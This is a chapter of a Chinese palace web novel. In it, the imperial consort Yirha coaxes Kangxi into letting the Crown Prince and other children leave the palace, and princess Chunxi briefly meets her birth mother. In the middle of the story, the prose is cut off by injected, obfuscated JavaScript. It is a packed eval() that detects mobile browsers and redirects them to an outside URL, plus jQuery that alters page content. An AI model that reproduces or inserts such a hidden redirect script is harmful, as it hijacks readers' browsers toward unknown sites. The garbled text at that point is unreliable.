柠檬之汁 作品

33.出宫去

□□台吉一边跟众人聊天,一边不着痕迹地观察着两位皇子。他这次奉父亲之命进京,明面上是护送妹妹塔娜待嫁,实则肩负着更重要的使命——科尔沁需要摸清大清下一代继承人的底细。


"阿布说得对,"他暗想,"索额图和明珠就像两匹争夺头马位置的公狼。"他的视线扫过正在较劲的两位皇子,"若是小狼崽们也不和睦,他们或许能在裂缝中种下种子。"


□□记得临行前父亲的叮嘱:"记住,草原上的狐狸永远要准备两条路。若大清将来内乱,我们要确保科尔沁能站在胜利者那边。"


可现在,胤褆正手把手教太子调整弓弦,那亲昵的模样哪像是势同水火?更让他意外的是,太子虽然年幼,言谈举止间已隐约可见君王气度,而胤褆对弟弟的维护之情也毫不作伪。


"奇怪..."□□眯起眼睛,"难道那些传言都是假象?"他转头看向正在和隆科多比试箭术的妹妹,忽然改了主意:"得告诉塔娜,让她多与太子亲近。这位储君,恐怕比我们想象的更难对付。"


□□台吉端起银碗抿了口奶茶,状似随意地问道:"听说宫里规矩多,皇子公主们平日都怎么消遣?"他眼底闪过一丝精光,脸上却挂着单纯的好奇。


太子胤礽正用小刀削着一根树枝,闻言抬起头:"我们常去永和宫。"他说得理所当然,仿佛这是天经地义的事,"皇贵妃娘娘那儿总有新鲜玩意儿,昨儿还教我们玩七巧板呢。"


"可不是!"大阿哥胤褆接过话茬,眼睛亮晶晶的,"上回娘娘带着我们做风筝,连皇阿玛都来凑热闹。"他比划着,"那么大的沙燕风筝,最后挂在了乾清宫的飞檐上。"


□□手指轻轻敲击着碗沿,若有所思:"听起来皇贵妃娘娘很会照顾孩子?"


"姑爸爸最好了!"胤礽脱口而出,随即意识到失言,红着脸补充道,"皇贵妃娘娘待我们都像亲生的。纯禧姐姐的骑射是宣娘娘教的,但诗文功课都是皇贵妃娘娘亲自指点。"


隆科多在一旁听着,嘴角不自觉地上扬。他姐姐在信里提过这些事,但亲耳听到皇子们这般亲近的口吻,还是让他心头一暖。


□□将众人的反应尽收眼底。他想起临行前父亲的话:"永和宫那位不简单,能让康熙的孩子们都亲近她..."现在看来,这位皇贵妃比传闻中更有手段。不仅将皇子公主们聚在一处教养,竟还能让太子脱口喊出"姑爸爸"这样的亲昵称呼。


"塔娜日后嫁过来,也要常去永和宫请安才是。"□□意味深长地看了眼妹妹。塔娜会意地点头,她早从宣妃那里听说过,这位皇贵妃娘娘,才是真正维系着皇室下一代和睦的关键人物。


……


□□台吉坐在帐篷里,借着烛光细细擦拭他的蒙古弯刀,脑海中回想着今日所见所闻。刀刃映出他若有所思的面容——隆科多确实一表人才,但若仅凭一个"康熙表弟"的身份,还不足以让科尔沁的明珠下嫁。真正让父亲松口的,是那个稳坐永和宫的皇贵妃。


"阿布果然深谋远虑。"他低声自语。刀面反射的烛光在他脸上跳动,映照出眼中的算计。塔娜若能借着姑嫂之便常去永和宫,就等于在皇子公主们面前混了个脸熟。那些孩子们一口一个"姑爸爸"叫着皇贵妃,自然会对她的弟媳另眼相待。


帐篷外传来塔娜和侍女的说笑声,□□收刀入鞘。他想起今日太子说起皇贵妃时发亮的眼睛,大阿哥提到永和宫时亲昵的语气——这才是最珍贵的嫁妆。隆科多没有官职又如何?只要他姐姐还在永和宫一日,科尔沁就能通过这层关系,名正言顺地接近大清未来的掌权者。


"台吉,该用晚膳了。"随从在帐外轻声提醒。


□□起身时,一枚金钮扣从怀中掉出,那是今日大阿哥射箭赢彩后随手赏给侍从的。他弯腰拾起,在掌心掂了掂分量。就像这枚金钮扣一样,有些价值,不在本身,而在它来自何处。塔娜的婚事,亦是如此。


……


围猎归来的銮驾刚进紫禁城,太子胤礽就扒着车窗眼巴巴地望着渐行渐远的宫门。大阿哥胤褆骑着马跟在御辇旁,手里还攥着围猎时赢来的彩头——一个民间匠人雕的木头小马,越看越觉得比宫里那些玉雕金铸的玩意儿有趣。


"汗阿玛,"这日休沐,胤礽趁着请安的功夫,小手拽着康熙的龙袍袖角,"儿臣听说城南来了个会训猴的杂耍班子..."


康熙头也不抬地批着奏折:"太子该读《尚书》了。"


胤褆见状换了策略,献宝似的捧上一包宫外买的芝麻糖:"这是儿臣特意给皇阿玛带的,那老字号掌柜说..."


"大阿哥的《孙子兵法》抄完了?"康熙眼皮都没掀一下。


接连碰壁的两兄弟垂头丧气地退出乾清宫,在汉白玉台阶下面面相觑。胤礽突然眼睛一亮,凑到胤褆耳边嘀咕了几句。不一会儿,永和宫的门槛就被两个小身影踏得咚咚响。


"姑爸爸!"胤礽一进门就扑到伊尔哈膝前,也不在乎在弟弟妹妹面前失了储君的气度,他仰起的小脸上写满委屈,"儿臣想去看城南的庙会..."


胤褆也跟着帮腔,从怀里掏出个油纸包:"娘娘尝尝,这是宫外老字号的核桃酥,比御膳房的还香呢!"


伊尔哈被两个孩子缠得没法,拈起块核桃酥尝了尝,确实不错。


伊尔哈用帕子擦了擦指尖沾着的核桃酥碎屑,看着眼前两双亮晶晶的、充满期待的眼睛,不禁莞尔。她转头对琉璃吩咐道:"去乾清宫禀报一声,就说本宫新得了些江南进贡的明前龙井,请皇上晌午来永和宫用膳。"顿了顿,又补了句,"就说...本宫特意准备了他爱吃的鲥鱼,还有一碟新做的核桃酥。"


琉璃会意地抿嘴一笑,福身退下。胤礽和胤褆立刻像两只小哈巴狗似的凑得更近,胤礽甚至殷勤地给伊尔哈捶起肩膀来:"姑爸爸最好了!"


"先别高兴太早。"伊尔哈故意板起脸,指尖轻轻点了点两个小脑袋,"待会儿皇上来了,你们得乖乖的,本宫自有办法。"她朝窗外望了望日头,又吩咐道,"去把前儿内务府送来的那个鎏金鸟笼取来,再把纯禧她们几个也叫来。"


不一会儿,永和宫的小厨房就飘出了鲥鱼的鲜香。伊尔哈亲自盯着宫人布置膳桌,特意将那碟核桃酥摆在康熙常坐的位置前。窗边的鎏金鸟笼里,两只画眉正叽叽喳喳地叫着,那是她特意让人准备的——康熙最近正迷逗鸟,这"好东西"来得正是时候。


康熙正批阅着奏折,朱笔在折子上勾画不停。李德全轻手轻脚地进来,低声道:"万岁爷,永和宫来人传话,说皇贵妃娘娘备了您爱吃的鲥鱼,还有新得的明前龙井,请您过去用午膳。"


笔尖微微一顿,康熙头也不抬地问道:"太子和大阿哥是不是在永和宫?"


李德全弓着腰,脸上堆着笑:"回万岁爷的话,两位阿哥确实在那边,听说还带了宫外的核桃酥孝敬皇贵妃娘娘。"


康熙轻哼一声,将朱笔搁在砚台上。他就知道,那两个小子在乾清宫碰了壁,定会去找他们姑爸爸搬救兵。不过..."表妹说有好东西给朕?"他摩挲着拇指上的玉扳指,眼底闪过一丝兴味。


"是,娘娘特意说了,有''好东西''要呈给皇上。"李德全觑着主子的脸色,又补充道,"奴才瞧着永和宫的人还抬了个鎏金鸟笼进去。"


康熙闻言,眉梢微微扬起。前几日他确实提过想寻对好画眉...表妹倒是会揣摩他的心思。想到这儿,他嘴角不自觉地带了笑,起身理了理袖口:"摆驾永和宫。"


李德全连忙高唱:"万岁爷起驾——"心里却暗道,皇贵妃娘娘这"好东西"送得真是时候。皇上明明知道两位阿哥的小心思,却还是心甘情愿往永和宫去,这份圣眷,满宫里也找不出第二份了。


……


康熙的銮驾刚在永和宫门前停稳,伊尔哈便领着众人迎了出来。她脸上挂着笑容:"表哥来了,正好赶上膳时。"


殿内早已摆好膳桌,鲥鱼的鲜香混着明前龙井的清香飘散开来。康熙扫了眼规规矩矩站在一旁的孩子们,目光在太子和大阿哥身上多停留了一瞬——两个小子低着头,却偷偷用眼角余光互相使着眼色。


"都坐吧。"康熙在主位落座,顺手接过伊尔哈奉上的茶盏。茶汤清亮,正是他最喜欢的火候。


胤禛和胤祉小心翼翼地挨着凳子边坐下,五公主更是缩在伊尔哈身后,小手紧紧攥着皇贵妃的衣角。伊尔哈察觉她的不安,借着布菜的功夫,轻轻拍了拍她的小手,又往她碗里夹了块最嫩的鱼肉。


"汗阿玛,您把妹妹吓着啦!"昭宁突然脆生生地开口,一边说一边把五公主搂到身边,"您看,她都不敢动筷子了。"


康熙闻言一愣,这才注意到五公主红着眼圈的模样。他神色不由柔和下来,从桌上拈了块核桃酥递过去:"是朕的不是,来,尝尝这个。"


五公主怯生生地接过,小声道:"谢...谢汗阿玛。"声音细若蚊呐,倒让康熙想起她生母郭贵人谨小慎微的模样。


伊尔哈见状,适时地转移话题:"皇上尝尝这鲥鱼,是今早刚从江南快马送来的。"她眼角余光瞥见太子和大阿哥坐立不安的样子,却故意不提出宫的事,只专心给康熙布菜添茶。


膳桌上渐渐热闹起来。昭宁绘声绘色地讲着围猎时的趣事,胤礽和胤褆时不时插上几句。


胤祉和胤禛年纪小,只是埋头干饭。


……


膳毕,康熙倚在永和宫的软榻上,眉宇间的威严渐渐舒展。伊尔哈亲手奉上一盏消食的普洱,茶汤在白玉盏中泛着琥珀色的光。窗外树影婆娑,偶有雀鸟掠过,在青砖地上投下转瞬即逝的影子。


"皇上。"伊尔哈轻声唤道,示意琉璃捧来个紫檀木匣,"臣妾近日刚做好的东西,想请您过目。"


康熙漫不经心地接过木匣,却在掀开盖子的瞬间僵住了。匣中丝绒衬底上,静静躺着一幅巴掌大的画像。琉璃片下,孝康章皇后温婉的眉眼纤毫毕现——那是他记忆中母亲最后的样子,眼角带着温柔的笑纹,发间只簪着支素银簪子。


指尖不自觉地抚上琉璃片,康熙的喉结动了动。这画法与当初送给太子的仁孝皇后小像如出一辙,却比宫中画师绘制的肖像更鲜活三分。他仿佛又看见母亲坐在景仁宫的廊下,轻声哼着江南小调为他缝制冬衣的模样。


"表妹..."康熙的声音有些哑,"这是..."


伊尔哈坐在康熙身边,轻声道:"臣妾当年见到姑母时姑母已经在生病,而且当时年纪尚少,姑母的容貌不甚清晰,还是请教了当年伺候过孝康章皇后的老嬷嬷这才画成的。"她顿了顿,"画得不好,表哥别见怪。"


康熙凝视着画像,拇指无意识地摩挲着琉璃片边缘。这是他能触碰到的、最接近母亲的温度。殿内一时静极,连最闹腾的昭宁都识趣地噤了声。窗外一阵风过,吹得檐角铜铃叮咚作响,恍若隔世的回音。


良久,康熙才珍而重之地合上木匣:"朕...很喜欢。"短短四个字,却似用尽了力气。他抬眼看向伊尔哈,目光柔和得不像个帝王,倒像是当年那个失去母亲的孩子。


看到母亲的小像,康熙看着自己的孩子们也更温和了一些。


伊尔哈见康熙神色动容,便轻轻将茶盏往他手边推了推,温声道:"皇上可还记得,太子四岁那年,第一次射中靶心时的模样?"她的目光扫过正在逗弄画眉的孩子们,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539766|168883||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


"大阿哥头回骑马时,吓得小脸发白却硬撑着说不怕;昭宁学会走路那天,跌跌撞撞扑到您怀里..."


窗外的阳光透过雕花窗棂,在青砖地上投下斑驳的光影。康熙顺着她的视线望去,只见胤礽正小心翼翼地给五公主喂核桃酥,胤褆和昭宁凑在鸟笼前叽叽喳喳。这些寻常景象,此刻却莫名刺痛了他的眼睛。


"孩子们长得快。"伊尔哈的声音轻得像叹息,"今日还缠着您要糖吃,明日就要学着批奏折了。"她指尖抚过茶盏边缘,"就像这桂花酿,当年摘花时的欢喜,与后来独酌时的滋味,终究是不同的。"


见康熙有所松动,伊尔哈接着劝:“若是错过了这次的欢喜,等孩子们长大了就算得到了,也不会再有同样的快乐了,做的再多,终究是……刻舟求剑一样”。


她悠悠看着远方,轻叹:“欲买桂花同载酒,终不似,少年游。”


"欲买桂花同载酒..."康熙低吟着,目光落在太子身上。小少年正学着兄长的样子挺直腰板,可脸上还带着未褪的婴儿肥。他忽然意识到,自己记忆中那个蹒跚学步的婴孩,不知何时已长成了会背《论语》的小大人。


……


康熙轻轻合上装着母亲画像的木匣,指尖在琉璃片上又停留了片刻,终于松口道:"既然皇贵妃都这么说了——"他抬眼看向眼巴巴望着自己的太子和大阿哥,"准你们出宫半日,但需裕全和隆科多随行护卫。"


胤礽和胤褆顿时眼睛一亮,刚要欢呼,又听康熙补充道:"不得去闹市,不得接触闲杂人等,申时前必须回宫。"两个小脑袋立刻点得像小鸡啄米。


伊尔哈见状,顺势笑道:"不如让纯禧也一起去吧?这孩子跟着宣妃学了这些日子骑射,在城外庄子上跑跑马,比闷在宫里强。"她边说边给康熙添茶,"正好塔娜格格也在京中待嫁,年轻人凑在一处,也热闹些。"


康熙瞥了眼正在逗画眉的纯禧,小姑娘听到自己的名字,立刻转过头来,杏眼里满是期待。他想起这丫头前日射箭时英姿飒爽的模样,确实不该总拘在深宫里。


"罢了,都去吧。"康熙摆摆手,嘴角却微微上扬,"记得多带些侍卫,别让格格们磕着碰着。"他看向伊尔哈,意味深长地补了句,"表妹安排得倒是周全。"


伊尔哈低头抿茶,掩去唇边的笑意。


万事开头难,有了第一次就能有第二次,有第一个人出宫就能有第二个人出宫。


伊尔哈看着欢天喜地准备出宫行装的太子和大阿哥,目光又落在膳桌旁的两个小团子身上。胤禛正踮着脚去够果盘里的蜜瓜,小短手在空中划拉了半天,还是胤祉机灵,搬来小凳子帮他够着了。两个孩子你一口我一口地分着吃,汁水沾了满手也不在意。


她伸手揉了揉两个小脑袋,柔软的鬓发蹭在掌心痒痒的。胤禛仰起沾着果渍的小脸,懵懂地眨了眨眼:"佟娘娘也吃?"说着举起啃得乱七八糟的瓜瓣。


"你们吃吧。"伊尔哈笑着用手帕擦去他脸上的汁水,心里却想着:等你们再大些,也会像哥哥姐姐们一样想出宫看看的。


窗外传来纯禧银铃般的笑声,那丫头正拉着塔娜格格试骑装。伊尔哈望着他们忙活的身影,指尖无意识地轻叩着案几。今日太子和大阿哥能出宫,明日或许就能轮到胤禛和胤祉。就像推倒第一块多米诺骨牌,只要开了这个头,往后的路自然会顺理成章地铺开。


胤祉突然扯了扯她的衣袖:"娘娘,瓜好甜!"小家伙献宝似的捧上最后一块。伊尔哈就着他的手咬了一小口,果然甜得沁人心脾。


……


永和宫的偏殿里,伊尔哈正亲自检查着出宫要带的物件。几个宫女捧着叠得整整齐齐的便装进来——太子的是靛青色箭袖袍,大阿哥选了件赭石色骑装,纯禧的则是杏红色对襟衫,都是寻常富贵人家子弟的打扮,却又在暗纹里绣着细密的龙纹云饰,既不失体面,又不显眼。


"铜钱都备好了?"伊尔哈问道。琉璃连忙捧出几个绣着吉祥纹样的荷包,每个里面都装着沉甸甸的铜板,还有几块碎银子。"娘娘放心,都是新铸的铜钱,奴婢一个个挑过,边角圆润,不会划伤手。"


另一边,宫门口的石狮子旁,恭亲王裕全正和隆科多低声交谈。裕全一身藏蓝直裰,腰间只悬了块青玉,看起来就像个寻常的富家老爷。隆科多则穿着墨色劲装,腰间别着短刀,目光不时往宫门内张望。


"来了来了!"随着小太监的通报,三个穿着便装的小祖宗兴冲冲地跑出来。纯禧的杏红衫子衬得小脸格外明艳,发间的珠花随着跑动一颤一颤的。太子虽然极力端着储君的架子,可眼中的雀跃怎么也藏不住。大阿哥最是活泼,已经迫不及待地摸着荷包盘算要买什么了。


一行人热热闹闹地往集市走去,谁也没注意街角停着辆青帷马车。等他们在茶馆歇脚时,掌柜的突然引着两位妇人进来。纯禧正捧着茶碗说笑,抬头一看,一位穿着藕荷色比甲的妇人正在眼眶红红的看着她,身旁的人她认得,那是自己的嫡母,那这个人……是自己的生母?


纯禧自幼被抱进宫,对生母晋氏的记忆已经很模糊了,她有些不敢认……


裕全福晋笑着推了推晋氏:"快去跟姑娘说说话,我在这儿看着。"晋氏眼眶通红,颤抖着摸了摸女儿的发髻,又赶紧从怀里掏出个绣着蝴蝶的香囊塞给她。母女俩只来得及说了几句体己话,纯禧就被太子催着继续逛集市了。


但那一瞬间的相会,足够小姑娘攥着香囊开心一整日。


隆科多走在最后,回头看了眼站在茶馆二楼窗边的晋氏。妇人正用帕子抹着眼泪,却笑得无比欣慰。他忽然想起姐姐说过的话:"这深宫里的母女,能见一面都是福分。"